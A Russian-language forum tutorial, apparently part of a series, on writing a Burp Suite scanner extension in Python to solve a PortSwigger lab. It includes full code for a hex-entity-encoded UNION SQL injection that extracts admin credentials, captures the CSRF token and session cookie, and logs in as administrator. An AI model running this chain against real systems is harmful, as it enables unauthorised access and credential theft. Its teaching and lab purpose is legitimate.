Python: Скопировать в буфер обмена
Code:
...            
                print('Get CSRF!')
                protocol = attackUrl.getProtocol()
                port = attackUrl.getPort()
                host = attackUrl.getHost()

                requestUrl = URL(protocol, host, port, '/login')
                request = self._helpers.buildHttpRequest(requestUrl)
                loginPage = self._callbacks.makeHttpRequest(attackHttpService, request)
                loginPageResponse = self._helpers.bytesToString(loginPage.getResponse())
                csrf_re = re.search('(=?name="csrf").value="(.*)"', loginPageResponse).group(2)
                if not csrf_re:
                    print("Can't find CSRF")
                    return issues                  
                csrf = csrf_re.group(2)
                print('CSRF is ' + csrf)
      ...

В этот раз я использовал хелпер buildHttpRequest(), который принимает объект java.net.URL. Нужно сделать импорт from java.net import URL. Далее вызову конструктор URL, передав ему протокол, хост, порт и путь

Выполнив запрос, регуляркой получаю CSRF. В целом, все готово для выполнения запроса на вход. Но нужно учесть, что сайт учитывает не только CSRF, но и сессию в Cookie. Именно эта пара должна быть вместе с логином и паролем.

Для демонстрации работы функции toggleRequestMethod(), сформирую следующий запрос из предыдущего GET-запроса. Учитывая все вышесказанное, придется немного поработать с заголовками. Для подмены заголовка сделаю функцию _updateHeaders(), она будет искать заголовки начинающиеся с пользовательского значения и подменять его на указанное. Вторая функция будет получать куки из существующего запроса, подменяя ‘Set-Cookie’ на ‘Cookie’
Python: Скопировать в буфер обмена
Code:
...
                print('Start join as ' + login)
                loginPageRequest = self._helpers.toggleRequestMethod(loginPage.getRequest())
                loginPageRequestInfo = self._helpers.analyzeRequest(loginPageRequest)
                loginHeaders = loginPageRequestInfo.getHeaders()
                loginHeaders = self._updateHeaders(loginHeaders, 'Content-Type', 'Content-Type: application/x-www-form-urlencoded')
                session_cookie = self._getSessionCookie(loginPage.getResponse())
                if session_cookie:
                    loginHeaders.add(session_cookie)              

                loginBodyString = 'csrf=' + csrf + '&username=' + login + '&password=' + password
                loginBody = self._helpers.stringToBytes(loginBodyString)
                loginHttpMessage = self._helpers.buildHttpMessage(loginHeaders, loginBody)
                           
                print(self._helpers.bytesToString(loginHttpMessage))
                joinResult = self._callbacks.makeHttpRequest(attackHttpService, loginHttpMessage)

Практически все функции мы уже рассматривали, поэтому особо останавливаться не буду. Только хелпер buildHttpMessage() является новой. При помощи нее мы создаем новый запрос, как при buildRequest(), но на основе заголовков и тела запроса. Заголовки принимаются списком строк, тело, как и раньше, это набор байт.

Перейду к функции _updateHeaders()

Python: Скопировать в буфер обмена
Code:
def _updateHeaders(self, headers, start_with, new_value):
        for i in range(len(headers)):
            if str(headers).startswith(start_with):
                headers = new_value
        return headers


getHeaders() отдает нам список строк в юникоде. Чтобы использовать стандартные функции доступные string, привожу каждое значение через str().

Python: Скопировать в буфер обмена
Code:
def _getSessionCookie(self, response):
        headers = self._helpers.analyzeResponse(response).getHeaders()
        for header in headers:
            if str(header).startswith('Set-Cookie'):
                header = str(header).replace('Set-Cookie', 'Cookie')
                return header
        return False

Обе функции, практически, братья близнецы. Просто вторая заточена под более конкретную задачу.

Казалось бы все, но нет. PortSwigger среагирует только тогда, когда мы под администратором постим страницу. Что же, заодно еще раз попрактикуемся в генерации запросов.

Python: Скопировать в буфер обмена
Code:
...
                print('Joined. Follow redirect')
                joinRequest = self._helpers.bytesToString(joinResult.getRequest())
                joinResponse = self._helpers.bytesToString(joinResult.getResponse())
                print(joinRequest)
                print('\n\n')
                print(joinResponse)

                joined_cookie = self._getSessionCookie(joinResponse)

                finishHeaders = self._helpers.analyzeRequest(joinRequest).getHeaders()
                finishHeaders = self._updateHeaders(finishHeaders, 'POST', 'GET /my-account?id=' + login)
                finishHeaders = self._updateHeaders(finishHeaders, 'Cookie', joined_cookie)
                finishRequest = self._helpers.buildHttpMessage(finishHeaders, '')
                finishResult = self._callbacks.makeHttpRequest(attackHttpService, finishRequest)

                print('Finish')
...

Удаляю и заново устанавливаю расширение, после чего запускаю активное сканирование. Ура, вот она вожделенная оранжевая плашка с “Congratulations, you solved the lab!”.

Спойлер: Полный код расширения SQLi in StockId
Python: Скопировать в буфер обмена
Code:
from burp import IBurpExtender, IScannerCheck, IScanIssue
from java.net import URL
from array import array
import re

class BurpExtender(IBurpExtender):
    def registerExtenderCallbacks(self, callbacks):
        callbacks.setExtensionName('SQLi in StockId')
        callbacks.registerScannerCheck(SQLIScannerCheck(callbacks))
        print('SQLi in StockId loaded')

class SQLIScannerCheck(IScannerCheck):
    used = False
    TEST_QUERY = "1 UNION SELECT 'PIPISKA'"
    ATTACK_QUERY = "1 UNION SELECT username || '~' || password FROM users"

    def __init__(self, callbacks):
        self._callbacks = callbacks
        self._helpers = callbacks.getHelpers()
    
    def doPassiveScan(self, baseRequestResponse):
        return None
    
    def doActiveScan(self, baseRequestResponse, insertionPoint):
        issues = []
        if self.used:
            return None
        print('Start check')
        requestInfo = self._helpers.analyzeRequest(baseRequestResponse)

        if requestInfo.getMethod() != 'POST':
            return None
        print('Method POST - Ok')
        insertionPointName = insertionPoint.getInsertionPointName()
        print(insertionPointName)
        if insertionPointName == 'storeid':
            print('Test insertion point stockId')
            testAttack = self._requestWithHex(baseRequestResponse, insertionPoint, self.TEST_QUERY)
            testResponse = self._helpers.bytesToString(testAttack.getResponse())
            print(testResponse)           
            if 'PIPISKA' in testResponse:
                print('Attack!')
                testHttpService = testAttack.getHttpService()
                testUrl = self._helpers.analyzeRequest(testAttack).getUrl()
                issues.append(SQLiScanIssue(testHttpService, testUrl, [testAttack]))

                attack = self._requestWithHex(baseRequestResponse, insertionPoint, self.ATTACK_QUERY)
                attackResponse = self._helpers.bytesToString(attack.getResponse())
                print(attackResponse)
                creds = re.search('(adm.*)~(.*)', attackResponse)               
                if not creds:
                    print("Can't find credentials")
                    return issues
                login = creds.group(1)
                password = creds.group(2)
                print('\nGot database credentials ' + login + ' ' + password)
                attackHttpService = attack.getHttpService()
                attackUrl = self._helpers.analyzeRequest(attack).getUrl()
                issues.append(DBCredsScanIssue(attackHttpService, attackUrl, [attack], login, password))

                print('Get CSRF!')
                protocol = attackUrl.getProtocol()
                port = attackUrl.getPort()
                host = attackUrl.getHost()

                requestUrl = URL(protocol, host, port, '/login')
                request = self._helpers.buildHttpRequest(requestUrl)
                loginPage = self._callbacks.makeHttpRequest(attackHttpService, request)
                loginPageResponse = self._helpers.bytesToString(loginPage.getResponse())
                csrf_re = re.search('(=?name="csrf").value="(.*)"', loginPageResponse)
                if not csrf_re:
                    print("Can't find CSRF")
                    return issues                   
                csrf = csrf_re.group(2)
                print('CSRF is ' + csrf)
                print('Start join as ' + login)
                loginPageRequest = self._helpers.toggleRequestMethod(loginPage.getRequest())
                loginPageRequestInfo = self._helpers.analyzeRequest(loginPageRequest)
                loginHeaders = loginPageRequestInfo.getHeaders()
                loginHeaders = self._updateHeaders(loginHeaders, 'Content-Type', 'Content-Type: application/x-www-form-urlencoded')
                session_cookie = self._getSessionCookie(loginPage.getResponse())
                if session_cookie:
                    loginHeaders.add(session_cookie)               

                loginBodyString = 'csrf=' + csrf + '&username=' + login + '&password=' + password
                loginBody = self._helpers.stringToBytes(loginBodyString)
                loginHttpMessage = self._helpers.buildHttpMessage(loginHeaders, loginBody)

                print(self._helpers.bytesToString(loginHttpMessage))
                joinResult = self._callbacks.makeHttpRequest(attackHttpService, loginHttpMessage)

                print('Joined. Follow redirect')
                joinRequest = self._helpers.bytesToString(joinResult.getRequest())
                joinResponse = self._helpers.bytesToString(joinResult.getResponse())
                print(joinRequest)
                print('\n\n')
                print(joinResponse)

                joined_cookie = self._getSessionCookie(joinResponse)

                finishHeaders = self._helpers.analyzeRequest(joinRequest).getHeaders()
                finishHeaders = self._updateHeaders(finishHeaders, 'POST', 'GET /my-account?id=' + login)
                finishHeaders = self._updateHeaders(finishHeaders, 'Cookie', joined_cookie)
                finishRequest = self._helpers.buildHttpMessage(finishHeaders, '')
                finishResult = self._callbacks.makeHttpRequest(attackHttpService, finishRequest)
                print('Finish')
            self.used = True

        if len(issues):
            return issues
        return None
    
    def _updateHeaders(self, headers, start_with, new_value):
        for i in range(len(headers)):
            if str(headers[i]).startswith(start_with):
                headers[i] = new_value
        return headers

    def _getSessionCookie(self, response):
        headers = self._helpers.analyzeResponse(response).getHeaders()
        for header in headers:
            if str(header).startswith('Set-Cookie'):
                header = str(header).replace('Set-Cookie', 'Cookie')
                return header
        return False

    def _requestWithHex(self, baseRequestResponse, insertionPoint, query):
            newRequest =  insertionPoint.buildRequest(self._helpers.stringToBytes('PIPISKA'))
            hex_payload = self._toHexEntity(query)
            newRequest = self._helpers.bytesToString(newRequest).replace('PIPISKA', hex_payload, 1)
            newRequest = self._helpers.stringToBytes(newRequest)
            print('\nNew request:\n\n' + self._helpers.bytesToString(newRequest) + '\n\n')
            httpService = baseRequestResponse.getHttpService()
            return self._callbacks.makeHttpRequest(httpService, newRequest)
    
    def consolidateDuplicateIssues(self, existingIssue, newIssue):
       if existingIssue.getIssueName() == newIssue.getIssueName():
           return -1
       return 0
    
    def _toHexEntity(self, payload):
        str_payload = self._helpers.bytesToString(payload)
        hex_payload = ';'.join([hex(ord(char)).replace('0x', '&#x') for char in str_payload]) + ';'
        return hex_payload
    
class SQLiScanIssue(IScanIssue):
    def __init__(self, httpService, url, httpMessages):
        self._httpService = httpService
        self._httpMessages = httpMessages
        self._url = url       
    
    def getUrl(self):
        return self._url

    def getHttpMessages(self):
        return self._httpMessages

    def getHttpService(self):
        return self._httpService

    def getRemediationDetail(self):
        return None

    def getIssueDetail(self):
        return "SQL injection in XML parameter 'stockId' when injecting parameter in hex-entity encoding"

    def getIssueBackground(self):
        return None

    def getRemediationBackground(self):
        return None

    def getIssueType(self):
        return 0

    def getIssueName(self):
        return "SQLi in StockId XML Parameter"

    def getSeverity(self):
        return "High"

    def getConfidence(self):
        return "Certain"
    
class DBCredsScanIssue(IScanIssue):
    def __init__(self, httpService, url, httpMessages, login, password):
        self._httpService = httpService
        self._httpMessages = httpMessages
        self._url = url
        self._login = login
        self._password = password
    
    def getUrl(self):
        return self._url

    def getHttpMessages(self):
        return self._httpMessages

    def getHttpService(self):
        return self._httpService

    def getRemediationDetail(self):
        return None

    def getIssueDetail(self):
        return "Login: " + self._login + " Password: " + self._password

    def getIssueBackground(self):
        return None

    def getRemediationBackground(self):
        return None

    def getIssueType(self):
        return 0

    def getIssueName(self):
        return "DB Creds"

    def getSeverity(self):
        return "High"

    def getConfidence(self):
        return "Certain"

Вместо заключения

На данном этапе, можно сказать, что большинство знаний касающихся активного и пассивного сканирования стандартным сканером BurpSuite у вас уже есть. Если я не переоцениваю свои навыки, то многие моменты должны быть полностью понятны.

В первой и второй статьях, рассмотрели принцип работы и отличия между doActiveScan() и doPassiveScan(). Узнали, как добавлять свои точки инъекции и изучили несколько примеров практического использования. Поработали со стандартной парой IHttpRequestResponse. Разными способами создавали и модифицировали запросы и его части. Я к тому, что обладая этими навыками уже можно делать много чего полезного. Шутка ли, мы реализовали даже многошаговую атаку. Да, плоскую, но все же.

Но это далеко не все, что можно делать при помощи API Burp Extender. Например, doActiveScan() и doPassiveScan() есть не только в виде слушателя IScannerCheck, но и как методы инициации соответствующих сканов. Не коснулись интерфейса пользователя, как самого расширения, так и встраивания в интерфейс BurpSuite,

Учитывая интерес к теме, как со стороны пользователей, так и администрации XSS, думаю пройдемся по всем закоулкам API Burp. На самом деле, расширениями Burp можно творить невероятные вещи. Чем, собственно, и займемся в следующих статьях.

Надеюсь вам понравилось
1722168954308.png
 
Эта статья подзатянулась у меня на целую неделю. Десятки раз переписывал, менял примеры, то убирал то добавлял обратно большие куски. Я вычитал статью, но ввиду замыленности глаза, мог что-то упустить. Если чего-то не хватает (кода, пояснения, скриншотов), обязательно напишите - добавлю. Или если обнаружите какие-то косяки. Желательно в первые сутки, чтобы прямо в тексте поменять)))
 
Top